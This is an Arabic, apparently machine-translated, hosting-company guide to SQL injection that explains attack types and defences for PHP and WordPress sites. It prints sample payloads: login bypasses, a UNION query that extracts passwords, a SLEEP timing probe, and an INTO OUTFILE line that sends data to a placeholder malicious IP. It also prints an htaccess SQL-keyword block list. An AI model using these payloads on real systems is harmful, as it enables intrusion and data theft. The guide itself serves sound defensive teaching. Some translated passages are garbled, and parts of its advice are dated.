SQL (لغة الاستعلام الهيكلية) هي لغة تسمح لنا بالتفاعل مع قواعد البيانات . تستخدم تطبيقات الويب الحديثة قواعد البيانات لإدارة البيانات وعرض المحتوى الديناميكي للقراء.
حقن SQL ، أو SQLi ، هو هجوم على تطبيق ويب من خلال اختراق قاعدة بياناته من خلال عبارات SQL الضارة.
نظرًا لأنه هجوم شائع ، فلنحاول معرفة المزيد حول ماهيته وكيفية حدوثه وكيفية الدفاع عن نفسك منه.
ما هو حقن SQL؟
حقن SQL ، أو SQLi ، هو نوع من الهجوم على تطبيق ويب يمكّن المهاجم من إدخال عبارات SQL ضارة في تطبيق الويب ، مما قد يتمكن من الوصول إلى البيانات الحساسة في قاعدة البيانات أو تدمير هذه البيانات. Forristal في عام 1998.
في العقدين الماضيين منذ اكتشافه ، كان حقن SQL دائمًا على رأس أولويات مطوري الويب عند تصميم التطبيقات.
قدرت Barclaycard في عام 2012 أن 97٪ من خروقات البيانات تبدأ بهجوم حقن SQL . ينتشر حقن SQL حتى اليوم ويتم التعرف على شدة هجمات الحقن في تطبيق الويب على نطاق واسع. إنها واحدة من أهم عشرة مخاطر لأمن تطبيقات الويب من قبل OWASP.
كيف تعمل ثغرة حقن SQL؟
تمنح الثغرة الأمنية الخاصة بإدخال SQL للمهاجم وصولاً كاملاً إلى قاعدة بيانات التطبيق الخاص بك من خلال استخدام عبارات SQL الضارة.
في هذا القسم ، نشارك مثالاً عن شكل تطبيق ضعيف.
تخيل سير عمل تطبيق ويب نموذجي يتضمن طلبات قاعدة البيانات من خلال مدخلات المستخدم. تأخذ مدخلات المستخدم من خلال نموذج ، على سبيل المثال نموذج تسجيل الدخول . يمكنك بعد ذلك الاستعلام عن قاعدة البيانات الخاصة بك باستخدام الحقول التي قدمها المستخدم للمصادقة عليها. هيكل الاستعلام لقاعدة البيانات الخاصة بك هو شيء من هذا القبيل:
select * from user_table
where username = 'sdaityari'
and password = 'mypassword';
للتبسيط ، دعنا نفترض أنك تخزن كلمات مرورك كنص واضح. ومع ذلك ، فمن الممارسات الجيدة أن تملح كلمات المرور الخاصة بك ثم تجزئتها. من الآن فصاعدًا ، إذا تلقيت اسم المستخدم وكلمة المرور من النموذج ، فيمكنك تحديد الاستعلام في PHP على النحو التالي:
// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query
إذا أدخل شخص ما القيمة “admin” ؛ – “في حقل اسم المستخدم ، فسيكون استعلام SQL الناتج الذي ينشئه المتغير $ db_query كما يلي:
select * from user_table where
username = 'admin';--' and password = 'mypassword'
ماذا يفعل هذا الاستعلام؟
يبدأ التعليق في SQL بشرطة مزدوجة (-). يتم تصفية الاستعلام الناتج فقط من خلال اسم المستخدم دون مراعاة كلمة المرور. إذا لم يكن هناك أمان لتجنب ذلك ، فسيتم منحك حق الوصول الإداري إلى تطبيق الويب فقط باستخدام هذه الخدعة.
بالتناوب ، يمكن أيضًا استخدام هجوم منطقي في هذا المثال للوصول. إذا قام المهاجم بإدخال “password” أو 1 = 1 ؛ – “في حقل كلمة المرور ، فسيكون الاستعلام الناتج كما يلي:
select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';
في هذه الحالة ، حتى إذا كانت كلمة مرورك خاطئة ، فستتم مصادقتك في التطبيق. إذا كانت صفحة الويب الخاصة بك تعرض نتائج استعلام قاعدة البيانات ، فيمكن للمهاجم استخدام الأمر إظهار الجداول ، والأمر لعرض الجداول في قاعدة البيانات ، ثم إسقاط الجداول بشكل انتقائي إذا رغبوا في ذلك.
مآثر الأم: رسم كاريكاتوري عن حقن SQL
رسم كاريكاتوري عن حقن SQL (مصدر الصورة: XKCD )
مآثر أمي ، شريط فكاهي شهير من إنتاج XKCD ، يُظهر محادثة الأم مع مدرسة ابنها ، حيث يتم سؤالها عما إذا كانت تسمي ابنها حقًا “روبرت”) ؛ إسقاط الطلاب الجدول. – “.
أنواع حقن SQL
الآن بعد أن تعرفت على أساسيات الثغرة الأمنية لحقن SQL ، دعنا نستكشف الأنواع المختلفة لهجمات حقن SQL والسبب وراء كل منها.
حقن SQL داخل النطاق
يعد حقن SQL داخل النطاق أبسط أشكال حقن SQL. في هذه العملية ، يكون المهاجم قادرًا على استخدام نفس القناة لإدراج كود SQL الضار في التطبيق بالإضافة إلى جمع النتائج. سنناقش شكلين من هجمات حقن SQL داخل النطاق:
هجوم قائم على الخطأ
يستخدم المهاجم تقنية حقن SQL تعتمد على الخطأ أثناء المراحل الأولى من هجومه. تكمن الفكرة وراء حقن SQL المستند إلى الخطأ في الحصول على مزيد من المعلومات حول بنية قاعدة البيانات وأسماء الجدول التي يتبعها تطبيق الويب. على سبيل المثال ، قد تحتوي رسالة خطأ على اسم الجدول المضمن في الاستعلام وأسماء العمود بالجدول. يمكن بعد ذلك استخدام هذه البيانات لإنشاء هجمات جديدة.
هجوم قائم على الاتحاد
في هذه الطريقة ، يستخدم المهاجم ضم اتحاد SQL لعرض النتائج من جدول مختلف. على سبيل المثال ، إذا كان المهاجم موجودًا على صفحة بحث ، فيمكنه إلحاق النتائج من جدول آخر.
select title, link from post_table
where id < 10
union
select username, password
from user_table; --;
حقن SQL الاستنتاجي (Blind SQL Injection)
حتى إذا قام المهاجم بإنشاء خطأ في استعلام SQL ، فقد لا يتم إرسال استجابة الاستعلام مباشرة إلى صفحة الويب. في مثل هذه الحالة ، يحتاج المهاجم إلى مزيد من التحقيق.
في هذا الشكل من حقن SQL ، يرسل المهاجم استعلامات متنوعة إلى قاعدة البيانات لتقييم كيفية تحليل التطبيق لهذه الاستجابات. يُعرف أحيانًا حقن SQL الاستنتاجي أيضًا باسم حقن SQL الأعمى . سننظر في نوعين من حقن SQL الاستنتاجية أدناه: حقن SQL المنطقية وحقن SQL المستند إلى الوقت.
هجوم منطقي
إذا نتج عن استعلام SQL خطأ لم يتم التعامل معه داخليًا في التطبيق ، فقد تتسبب صفحة الويب الناتجة في حدوث خطأ أو تحميل صفحة فارغة أو تحميل جزئي. في حقنة SQL المنطقية ، يقوم المهاجم بتقييم أي أجزاء من إدخال المستخدم تكون عرضة لحقن SQL من خلال تجربة نسختين مختلفتين من جملة منطقية من خلال الإدخال:
“… و 1 = 1”
“… و 1 = 2”
إذا كان التطبيق يعمل بشكل طبيعي في الحالة الأولى ولكنه يظهر شذوذًا في الحالة الثانية ، فهذا يشير إلى أن التطبيق عرضة لهجوم حقن SQL.
هجوم قائم على الوقت
يمكن أن يساعد هجوم حقن SQL المستند إلى الوقت المهاجم في تحديد ما إذا كانت هناك ثغرة أمنية موجودة في تطبيق ويب. يستخدم المهاجم وظيفة محددة مسبقًا تستند إلى الوقت لنظام إدارة قاعدة البيانات التي يستخدمها التطبيق. على سبيل المثال ، في MySQL ، تقوم الوظيفة sleep () بإرشاد قاعدة البيانات إلى الانتظار لعدد معين من الثواني.
select * from comments
WHERE post_id=1-SLEEP(15);
إذا أدى هذا الاستعلام إلى تأخير ، فسيعلم المهاجم أنه ضعيف.
حقن SQL خارج النطاق
إذا كان المهاجم غير قادر على جمع نتائج حقن SQL من خلال نفس القناة. يمكن استخدام تقنيات حقن SQL خارج النطاق كبديل لتقنيات حقن SQL الاستنتاجية.
تريد أن تعرف كيف زدنا من حركة المرور لدينا أكثر من 1000 ٪؟
انضم إلى أكثر من 20000 آخرين ممن يتلقون رسائلنا الإخبارية الأسبوعية مع نصائح من الداخل حول وورد بريس!
إشترك الآن
عادةً ما تتضمن هذه الأساليب إرسال البيانات من قاعدة البيانات إلى موقع ضار من اختيار المهاجم. هذه العملية تعتمد بشكل كبير على قدرات نظام إدارة قاعدة البيانات أيضًا.
يستخدم هجوم حقن SQL خارج النطاق إمكانية معالجة ملف خارجي لنظام DBMS. في MySQL ، يمكن استخدام وظائف LOAD_FILE () و INTO OUTFILE لمطالبة MySQL بنقل البيانات إلى مصدر خارجي. إليك كيفية استخدام المهاجم لـ OUTFILE لإرسال نتائج استعلام إلى مصدر خارجي:
select * from post_table
into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'
وبالمثل ، يمكن استخدام الوظيفة LOAD_FILE () لقراءة ملف من الخادم وعرض محتوياته. يمكن استخدام مجموعة من LOAD_FILE () و OUTFILE لقراءة محتويات ملف على الخادم ثم نقله إلى موقع مختلف.
كيفية منع حقن SQL
حتى الآن ، اكتشفنا الثغرات الأمنية في أحد تطبيقات الويب التي قد تؤدي إلى هجمات حقن SQL. يمكن للمهاجم استخدام ثغرة أمنية لإدخال SQL لقراءة محتويات قاعدة البيانات الخاصة بك أو تعديلها أو حتى إزالتها.
بالإضافة إلى ذلك ، قد يمكّن الشخص أيضًا من قراءة ملف على أي مكان داخل الخادم ونقل المحتويات إلى مكان آخر. في هذا القسم ، نستكشف تقنيات مختلفة لحماية تطبيق الويب وموقع الويب الخاصين بك من هجمات حقن SQL.
هروب مدخلات المستخدم
بشكل عام ، من الصعب تحديد ما إذا كانت سلسلة المستخدم ضارة أم لا. لذلك ، فإن أفضل طريقة للقيام بذلك هي الهروب من الأحرف الخاصة في مدخلات المستخدم.
تحميك هذه العملية من هجوم حقن SQL. يمكنك الهروب من سلسلة قبل إنشاء الاستعلام في PHP باستخدام الامتدادmysql_escape_string() function . يمكنك أيضًا الهروب من سلسلة في MySQL باستخدام mysqli_real_escape_string()الوظيفة.
أثناء عرض الإخراج بتنسيق HTML ، ستحتاج أيضًا إلى تحويل السلسلة للتأكد من أن الأحرف الخاصة لا تتداخل مع ترميز HTML. يمكنك تحويل الأحرف الخاصة في PHP باستخدام الوظيفة htmlspecialchars().
استخدم البيانات المعدة
بالتناوب ، يمكنك استخدام العبارات المعدة لتجنب حقن SQL. العبارة المعدة هي قالب لاستعلام SQL ، حيث تحدد معلمات في مرحلة لاحقة لتنفيذه. فيما يلي مثال على بيان مُعد في PHP و MySQLi.
$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));
فحوصات صحية أخرى لمنع هجمات SQL
الخطوة التالية في التخفيف من هذه الثغرة الأمنية هي قصر الوصول إلى قاعدة البيانات على ما هو ضروري فقط.
هل تعاني من مشاكل التوقف و وورد بريس؟ Kinsta هو حل الاستضافة المصمم مع وضع الأداء والأمان في الاعتبار! تحقق من خططنا
على سبيل المثال ، قم بتوصيل تطبيق الويب الخاص بك بنظام DBMS باستخدام مستخدم معين ، والذي لديه حق الوصول إلى قاعدة البيانات ذات الصلة فقط.
تقييد وصول مستخدم قاعدة البيانات إلى كافة المواقع الأخرى للخادم. قد ترغب أيضًا في حظر بعض الكلمات الرئيسية لـ SQL في عنوان URL الخاص بك من خلال خادم الويب الخاص بك. إذا كنت تستخدم Apache كخادم ويب ، فيمكنك استخدام سطور التعليمات البرمجية التالية في ملف htaccess الخاص بك لإظهار الخطأ 403 Forbidden Error لمهاجم محتمل.
يجب أن تكون حذرًا قبل استخدام هذه التقنية لأن Apache سيعرض خطأ للقارئ إذا كان عنوان URL يحتوي على هذه الكلمات الرئيسية.
RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]
معلومات
يقوم Kinsta بتشغيل وورد بريس على خادم الويب Nginx ، والذي لا يدعم ملف htaccess. إذا كنت ترغب في إعداد قاعدة لحظر الكلمات الرئيسية الموجودة على عنوان URL الخاص بك ، فاتصل بفريق دعم Kinsta وسيكون بإمكانهم المساعدة.
كنصيحة وقائية إضافية ، يجب عليك دائمًا استخدام البرامج المحدثة . عند إصدار إصدار جديد أو تصحيح ، يتم تفصيل الأخطاء التي تم إصلاحها في التحديث في ملاحظات الإصدار. بمجرد نشر تفاصيل الخطأ للجمهور ، قد يكون تشغيل إصدار قديم من أي برنامج محفوفًا بالمخاطر.
حقن SQL في وورد بريس
أنت آمن من أي ثغرة أمنية لإدخال SQL إذا كنت تستخدم ملفات وورد بريس الأساسية المحدثة . ومع ذلك ، عند استخدام السمات والمكونات الإضافية التابعة لجهات خارجية ، يكون التطبيق بأكمله في خطر.
موقع وورد بريس الخاص بك هو فقط بنفس قوة أضعف رابط له . في هذا القسم ، نستكشف الاعتبارات الرئيسية للتخفيف من ثغرة حقن SQL في وورد بريس وكيفية إجراء فحوصات الثغرات الأمنية على موقع وورد بريس الحالي الخاص بك.
منع الثغرات الأمنية لحقن SQL لـ وورد بريس
للتخفيف من ضعف حقن SQL في قالب وورد بريس أو المكون الإضافي الخاص بك ، فإن القاعدة الوحيدة التي يجب عليك اتباعها هي استخدام وظائف وورد بريس الحالية دائمًا عند التفاعل مع قاعدة البيانات.
يتم اختبار هذه الوظائف بدقة لاكتشاف نقاط الضعف في حقن SQL أثناء عملية تطوير وورد بريس. على سبيل المثال ، إذا كنت ترغب في إضافة تعليق إلى منشور ، فاستخدم الدالة wp_insert_comment () بدلاً من إدراج البيانات مباشرةً في جدول wp_comments.
بينما تكون الدوال قابلة للتوسيع ، قد تحتاج في بعض الأحيان إلى تشغيل استعلام معقد. في مثل هذه الحالة ، تأكد من استخدام مجموعة الوظائف $ wp_db . يمكنك استخدام $ wpdb-> Prepar () لإلغاء إدخال المستخدم قبل إنشاء الاستعلام.
بالإضافة إلى ذلك ، فيما يلي قائمة بوظائف تعقيم البيانات في وورد بريس. تساعدك هذه على التخلص من أنواع معينة من إدخالات المستخدم مثل رسائل البريد الإلكتروني وعناوين URL.
تأمين موقع وورد بريس الخاص بك
في حين أن وورد بريس نفسه آمن ، إلا أن بعض المشكلات مثل البرامج الأساسية القديمة والمكونات الإضافية الملغاة يمكن أن تؤدي إلى ثغرات أمنية. على الرغم من عدم وجود بديل عن فحص موقع وورد بريس الخاص بك بحثًا عن ثغرة أمنية في حقن SQL تمامًا ، إلا أن تعقيد موقع الويب قد يجعل هذه المهمة صعبة.
يمكنك استخدام أداة فحص عبر الإنترنت مثل ThreatPass و WPScan Vulnerability Database. يمكنك تدقيق المكونات الإضافية الخاصة بك لمعرفة ما إذا كان تطويرها قد توقف. إذا تم التخلي عنها منذ فترة ، فقد لا تكون فكرة جيدة لاستخدامها على موقعك.
إذا كنت لا تزال بحاجة إلى استخدامها تمامًا ، فتأكد من اختبار التعليمات البرمجية والوظائف الخاصة بهم بدقة بحثًا عن نقاط الضعف. بخلاف ذلك ، تأكد من اتباع فحوصات النظافة التالية:
تحديث PHP و وورد بريس core و MySQL
قم بتحديث الإضافات والقوالب الخارجية
تجنب استخدام المستخدم الجذر لتوصيل قاعدة بيانات SQL
تقييد وصول مستخدم SQL إلى الدلائل الحساسة
منع الكلمات الرئيسية SQL باستخدام الخادم الخاص بك
احتفظ بنسخ احتياطية من موقعك خارج الموقع في حالة حدوث ضرر لا يمكن إصلاحه
فيما يلي منشور تفصيلي حول أمان وورد بريس وقائمة شاملة من عمليات التحقق. علاوة على ذلك ، قد ترغب في الاستثمار في هذه المكونات الإضافية للأمان في وورد بريس ، وإليك ما يجب عليك فعله إذا تم اختراق موقع وورد بريس الخاص بك على الرغم من بذل قصارى جهدك.
معلومات
توفر Kinsta ضمانًا أمنيًا لجميع عملائها على جميع الخطط.
هل حقن SQL غير قانوني؟
قطعا نعم! على الرغم من وجود ثغرة أمنية فعلية ، لا يزال المهاجم يحاول الوصول إلى البيانات التي لن تكون متاحة لهم بخلاف ذلك.
تخيل سيناريو يترك فيه شخص ما مفاتيحه في السيارة. وهل القيادة فيها مخالفة لمجرد أنها تركت مفتوحة دون رقابة؟ يخضع قانون SQLi لقوانين مختلفة في دول مختلفة. يندرج تحت قانون الاحتيال وإساءة استخدام الكمبيوتر (1986) في الولايات المتحدة ، وقانون إساءة استخدام الكمبيوتر (1990) في المملكة المتحدة .
97٪ من خروقات البيانات تبدأ بحقن SQL. إذا كنت تدير موقعًا ، فيجب أن تعرف ما هي حقن SQL وكيفية منع حدوثها. لحسن الحظ ، يوجد هذا الدليل! 👺🦺
انقر للتغريد
ملخص
تم اكتشاف ثغرات أمنية لإدخال SQL منذ فترة طويلة. ومع ذلك ، يشير تقرير صدر عام 2018 عن مواقع الويب المخترقة إلى أن SQLi هي أكثر مواقع اختراق مواقع الويب شيوعًا لـ وورد بريس بعد هجمات XSS. لمنع حدوثها ، يجب عليك:
فهم كيفية عمل الثغرة الأمنية في حقن SQL
استكشف الطرق المختلفة التي يمكن للمهاجمين من خلالها استخدام SQLi للحصول على وصول غير مصرح به إلى تطبيق الويب الخاص بك
نفذ طرقًا لحماية موقع الويب الخاص بك من هجمات SQLi ، مثل الهروب من مدخلات المستخدم واستخدام البيانات المعدة
اتبع روتين الفحص الأمني
كما يقول المثل القديم ، “من الأفضل أن تكون آمنًا ، من أن آسف!”
وفر الوقت والتكاليف وحقق أقصى قدر من أداء الموقع من خلال:
مساعدة فورية من خبراء استضافة وورد بريس ، 24/7.
تكامل Cloudflare Enterprise.
يصل الجمهور العالمي إلى 28 مركز بيانات حول العالم.
التحسين من خلال مراقبة أداء التطبيقات المضمنة لدينا.
كل ذلك وأكثر من ذلك بكثير ، في خطة واحدة بدون عقود طويلة الأجل ، وعمليات الترحيل المدعومة ، وضمان استرداد الأموال لمدة 30 يومًا. تحقق من خططنا أو تحدث إلى قسم المبيعات للعثور على الخطة المناسبة لك.

